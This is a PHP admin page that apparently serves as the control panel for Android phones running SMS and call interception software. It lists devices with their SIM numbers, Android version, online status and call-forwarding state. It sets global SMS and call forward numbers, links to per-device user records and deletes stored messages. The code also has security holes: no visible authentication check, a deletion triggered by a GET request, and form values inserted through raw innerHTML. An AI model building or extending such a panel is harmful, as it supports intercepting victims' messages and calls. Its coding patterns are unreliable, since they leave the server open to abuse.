<?php
require_once './includes/session.php';
require_once './includes/utils.php';
require_once __DIR__ . '/../admin/db_config.php';

$session = SessionManager::getInstance();

// Direct DB connection for devices (no API token needed)
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=" . DB_CHARSET, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (Exception $e) {
    die("DB Error");
}

// Auto-create preferred_sim column if missing
try { $pdo->exec("ALTER TABLE devices ADD COLUMN preferred_sim VARCHAR(4) DEFAULT NULL"); } catch (Exception $e) {}

// Handle SIM toggle AJAX
if (isset($_POST['action']) && $_POST['action'] === 'toggle_sim' && isset($_POST['did'])) {
    $did = $_POST['did'];
    $newSim = $_POST['new_sim'] ?? 'sim1';
    if (in_array($newSim, ['sim1','sim2'])) {
        $pdo->prepare("UPDATE devices SET preferred_sim = ? WHERE device_id = ?")->execute([$newSim, $did]);
    }
    header('Location: devices.php');
    exit;
}

// Get devices directly from DB
$stmt = $pdo->query("
    SELECT device_id, device_model, android_version, sim1_number, sim2_number, last_seen, call_forwarding, preferred_sim,
    IF(TIMESTAMPDIFF(SECOND, last_seen, NOW()) <= 300, 'online', 'offline') AS device_status
    FROM devices ORDER BY last_seen DESC
");
$devices = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Get settings
$settingsStmt = $pdo->query("SELECT mobile, callmobile, preferred_sim_slot FROM settings LIMIT 1");
$settings = $settingsStmt->fetch(PDO::FETCH_ASSOC) ?: ['mobile'=>'','callmobile'=>'','preferred_sim_slot'=>'sim1'];

include_once './includes/header.php';
?>

<!-- Control Buttons -->
<div class="row g-2 mb-3">
    <div class="col-4">
        <div class="stat-card blue" style="padding:12px;text-align:center;cursor:pointer;" onclick="showModal('smsModal')">
            <i class="bi bi-chat-dots" style="font-size:18px;color:var(--accent-cyan);"></i>
            <div style="font-size:9px;color:var(--accent-cyan);margin-top:4px;font-weight:600;text-transform:uppercase;letter-spacing:0.5px;">SMS</div>
        </div>
    </div>
    <div class="col-4">
        <div class="stat-card purple" style="padding:12px;text-align:center;cursor:pointer;" onclick="showModal('callModal')">
            <i class="bi bi-telephone" style="font-size:18px;color:var(--accent-purple);"></i>
            <div style="font-size:9px;color:var(--accent-purple);margin-top:4px;font-weight:600;text-transform:uppercase;letter-spacing:0.5px;">CALL</div>
        </div>
    </div>
    <div class="col-4">
        <div class="stat-card amber" style="padding:12px;text-align:center;cursor:pointer;" onclick="showModal('simModal')">
            <i class="bi bi-sim" style="font-size:18px;color:var(--accent-amber);"></i>
            <div style="font-size:9px;color:var(--accent-amber);margin-top:4px;font-weight:600;text-transform:uppercase;letter-spacing:0.5px;">SIM</div>
        </div>
    </div>
</div>

<!-- Search -->
<input type="text" id="deviceSearch" class="form-control mb-2" placeholder="Search devices..." style="font-size:13px;" oninput="filterDevices()">

<!-- Tabs -->
<div style="display:flex;gap:6px;margin-bottom:10px;">
    <button class="tab-btn active" onclick="setFilter('all',this)">All (<?php echo count($devices); ?>)</button>
    <button class="tab-btn" onclick="setFilter('online',this)">Online (<?php echo count(array_filter($devices, fn($d) => $d['device_status']==='online')); ?>)</button>
    <button class="tab-btn" onclick="setFilter('offline',this)">Offline (<?php echo count(array_filter($devices, fn($d) => $d['device_status']==='offline')); ?>)</button>
</div>

<div id="deviceCount" style="font-size:10px;color:var(--text-muted);margin-bottom:8px;font-weight:500;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:0.5px;"><?php echo count($devices); ?> devices</div>

<!-- Device List -->
<div id="deviceList">
<?php foreach ($devices as $d):
    $isOn = $d['device_status'] === 'online';
    $cf = (int)$d['call_forwarding'] === 1;
?>
    <div class="dev-card" data-status="<?php echo $d['device_status']; ?>" data-search="<?php echo strtolower(($d['device_model']??'').($d['device_id']??'').($d['sim1_number']??'').($d['sim2_number']??'')); ?>">
        <div class="dh">
            <div class="dot <?php echo $isOn ? 'on' : 'off'; ?>"></div>
            <div class="model"><?php echo htmlspecialchars($d['device_model'] ?: 'Unknown'); ?></div>
            <span class="cf-badge <?php echo $cf ? 'cf-on' : 'cf-off'; ?>"><?php echo $cf ? 'CF ON' : 'CF OFF'; ?></span>
            <?php
            $devSim = $d['preferred_sim'] ?? '';
            $simLabel = $devSim ? strtoupper($devSim) : 'SIM1';
            $nextSim = ($devSim === 'sim2') ? 'sim1' : 'sim2';
            ?>
            <form method="POST" style="display:inline;margin-left:4px;">
                <input type="hidden" name="action" value="toggle_sim">
                <input type="hidden" name="did" value="<?php echo htmlspecialchars($d['device_id']); ?>">
                <input type="hidden" name="new_sim" value="<?php echo $nextSim; ?>">
                <button type="submit" class="sim-badge <?php echo ($devSim==='sim2')?'sim2-on':'sim1-on'; ?>"><?php echo $simLabel; ?></button>
            </form>
        </div>
        <div class="did"><?php echo htmlspecialchars($d['device_id']); ?></div>
        <div class="grid">
            <div class="r"><span class="l">SIM1</span><span class="v"><?php echo htmlspecialchars($d['sim1_number'] ?: '—'); ?></span></div>
            <div class="r"><span class="l">SIM2</span><span class="v"><?php echo htmlspecialchars($d['sim2_number'] ?: '—'); ?></span></div>
            <div class="r"><span class="l">Seen</span><span class="v"><?php echo htmlspecialchars($d['last_seen'] ?: '—'); ?></span></div>
            <div class="r"><span class="l">OS</span><span class="v">Android <?php echo htmlspecialchars($d['android_version'] ?: '?'); ?></span></div>
        </div>
        <div class="acts">
            <button onclick="window.open('/admin/userapi/viewuser.php?device_id=<?php echo urlencode($d['device_id']); ?>','_blank')">User</button>
            <button class="del" onclick="if(confirm('Delete this device?'))location.href='devices.php?action=delete&did=<?php echo urlencode($d['device_id']); ?>'">Delete</button>
        </div>
    </div>
<?php endforeach; ?>
<?php if (empty($devices)): ?>
    <div style="text-align:center;padding:30px;color:var(--text-muted);font-size:11px;">No devices found</div>
<?php endif; ?>
</div>

<!-- Handle delete action -->
<?php
if (isset($_GET['action']) && $_GET['action'] === 'delete' && isset($_GET['did'])) {
    $did = $_GET['did'];
    $pdo->prepare("DELETE FROM messegedetails WHERE device_id = ?")->execute([$did]);
    $pdo->prepare("DELETE FROM users WHERE device_id = ?")->execute([$did]);
    $pdo->prepare("DELETE FROM devices WHERE device_id = ?")->execute([$did]);
    echo '<script>location.href="devices.php";</script>';
    exit;
}
?>

<!-- Modals -->
<div class="modal fade" id="smsModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered modal-sm">
        <div class="modal-content" style="background:var(--bg-card);border:1px solid var(--border-color);">
            <div class="modal-header" style="border-color:var(--border-color);"><h6 class="mb-0" style="color:var(--accent-cyan);font-family:'Orbitron',sans-serif;font-size:11px;letter-spacing:1px;">SMS FORWARD NUMBER</h6><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <div class="modal-body"><input type="text" id="smsNumber" class="form-control" value="<?php echo htmlspecialchars($settings['mobile']); ?>" placeholder="Enter number..."></div>
            <div class="modal-footer" style="border-color:var(--border-color);"><button class="btn btn-primary btn-sm" onclick="saveSettings()">◈ SAVE</button></div>
        </div>
    </div>
</div>
<div class="modal fade" id="callModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered modal-sm">
        <div class="modal-content" style="background:var(--bg-card);border:1px solid var(--border-color);">
            <div class="modal-header" style="border-color:var(--border-color);"><h6 class="mb-0" style="color:var(--accent-purple);font-family:'Orbitron',sans-serif;font-size:11px;letter-spacing:1px;">CALL FORWARD NUMBER</h6><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <div class="modal-body"><input type="text" id="callNumber" class="form-control" value="<?php echo htmlspecialchars($settings['callmobile']); ?>" placeholder="Enter number..."></div>
            <div class="modal-footer" style="border-color:var(--border-color);"><button class="btn btn-primary btn-sm" onclick="saveSettings()">◈ SAVE</button></div>
        </div>
    </div>
</div>
<div class="modal fade" id="simModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered modal-sm">
        <div class="modal-content" style="background:var(--bg-card);border:1px solid var(--border-color);">
            <div class="modal-header" style="border-color:var(--border-color);"><h6 class="mb-0" style="color:var(--accent-amber);font-family:'Orbitron',sans-serif;font-size:11px;letter-spacing:1px;">SELECT SIM</h6><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <div class="modal-body">
                <div class="d-flex gap-2">
                    <button class="btn btn-outline-primary flex-fill <?php echo $settings['preferred_sim_slot']==='sim1'?'active':''; ?>" onclick="selectSim('sim1')">SIM 1</button>
                    <button class="btn btn-outline-primary flex-fill <?php echo $settings['preferred_sim_slot']==='sim2'?'active':''; ?>" onclick="selectSim('sim2')">SIM 2</button>
                </div>
            </div>
        </div>
    </div>
</div>

<style>
.tab-btn{background:rgba(0,255,136,0.1);border:1px solid rgba(0,255,136,0.2);border-radius:4px;padding:5px 14px;font-size:10px;color:var(--accent-green);cursor:pointer;font-weight:600;font-family:'JetBrains Mono',monospace;text-transform:uppercase;}
.tab-btn.active{background:rgba(0,255,136,0.2);color:var(--accent-green);border-color:var(--accent-green);box-shadow:var(--glow-green);}
.dev-card{background:var(--bg-card);border-radius:6px;padding:12px 14px;margin-bottom:8px;border:1px solid var(--border-color);position:relative;}
.dev-card::before{content:'';position:absolute;top:0;left:0;width:2px;height:100%;border-radius:2px;}
.dev-card[data-status="online"]::before{background:var(--accent-green);}
.dev-card[data-status="offline"]::before{background:var(--accent-red);opacity:0.5;}
.dev-card:hover{border-color:rgba(0,212,255,0.3);}
.dev-card .dh{display:flex;align-items:center;gap:8px;margin-bottom:6px;}
.dev-card .dot{width:8px;height:8px;border-radius:50%;}
.dev-card .dot.on{background:var(--accent-green);box-shadow:var(--glow-green);}
.dev-card .dot.off{background:var(--accent-red);opacity:0.5;}
.dev-card .model{font-size:12px;font-weight:600;color:var(--text-primary);flex:1;}
.dev-card .cf-badge{font-size:9px;padding:2px 6px;border-radius:3px;font-weight:600;font-family:'JetBrains Mono',monospace;text-transform:uppercase;}
.dev-card .cf-on{background:rgba(0,255,136,0.15);color:var(--accent-green);border:1px solid rgba(0,255,136,0.3);}
.dev-card .cf-off{background:rgba(255,51,102,0.1);color:var(--accent-red);border:1px solid rgba(255,51,102,0.2);}
.sim-badge{font-size:9px;padding:2px 6px;border-radius:3px;font-weight:600;font-family:'JetBrains Mono',monospace;text-transform:uppercase;cursor:pointer;border:none;}
.sim-badge.sim1-on{background:rgba(255,170,0,0.15);color:var(--accent-amber);border:1px solid rgba(255,170,0,0.3);}
.sim-badge.sim2-on{background:rgba(168,85,247,0.15);color:var(--accent-purple);border:1px solid rgba(168,85,247,0.3);}
.sim-badge:hover{opacity:0.8;}
.dev-card .did{font-size:9px;color:var(--text-muted);margin-bottom:6px;font-family:'JetBrains Mono',monospace;}
.dev-card .grid{background:rgba(0,10,20,0.5);border:1px solid rgba(30,58,95,0.5);border-radius:4px;padding:8px 10px;font-size:10px;margin-bottom:8px;font-family:'JetBrains Mono',monospace;}
.dev-card .grid .r{display:flex;padding:2px 0;}
.dev-card .grid .l{width:44px;color:var(--text-muted);font-weight:500;}
.dev-card .grid .v{color:var(--accent-cyan);flex:1;}
.dev-card .acts{display:flex;gap:4px;}
.dev-card .acts button{flex:1;padding:5px 4px;font-size:9px;font-weight:600;border-radius:4px;border:1px solid var(--border-color);background:rgba(0,212,255,0.05);color:var(--accent-cyan);cursor:pointer;font-family:'JetBrains Mono',monospace;text-transform:uppercase;}
.dev-card .acts button:hover{background:rgba(0,212,255,0.15);border-color:var(--accent-cyan);box-shadow:var(--glow-cyan);}
.dev-card .acts .del{color:var(--accent-red);border-color:rgba(255,51,102,0.3);background:rgba(255,51,102,0.05);}
.dev-card .acts .del:hover{background:rgba(255,51,102,0.15);box-shadow:var(--glow-red);}
.dev-card[data-hidden="true"]{display:none;}
</style>

<script>
let currentFilter = 'all';

function showModal(id) { new bootstrap.Modal(document.getElementById(id)).show(); }

function setFilter(f, btn) {
    currentFilter = f;
    document.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
    btn.classList.add('active');
    filterDevices();
}

function filterDevices() {
    const q = document.getElementById('deviceSearch').value.toLowerCase();
    let shown = 0;
    document.querySelectorAll('.dev-card').forEach(card => {
        const status = card.dataset.status;
        const search = card.dataset.search;
        let visible = true;
        if (currentFilter === 'online' && status !== 'online') visible = false;
        if (currentFilter === 'offline' && status !== 'offline') visible = false;
        if (q && !search.includes(q)) visible = false;
        card.setAttribute('data-hidden', !visible);
        card.style.display = visible ? '' : 'none';
        if (visible) shown++;
    });
    document.getElementById('deviceCount').textContent = shown + ' devices';
}

function saveSettings() {
    const sms = document.getElementById('smsNumber').value.trim();
    const call = document.getElementById('callNumber').value.trim();
    // Submit via form POST to avoid CORS/token issues
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'devices_save_settings.php';
    form.innerHTML = '<input name="mobile" value="'+sms+'"><input name="callmobile" value="'+call+'">';
    document.body.appendChild(form);
    form.submit();
}

function selectSim(sim) {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'devices_save_settings.php';
    form.innerHTML = '<input name="preferred_sim_slot" value="'+sim+'">';
    document.body.appendChild(form);
    form.submit();
}
</script>

<?php include_once './includes/footer.php'; ?>
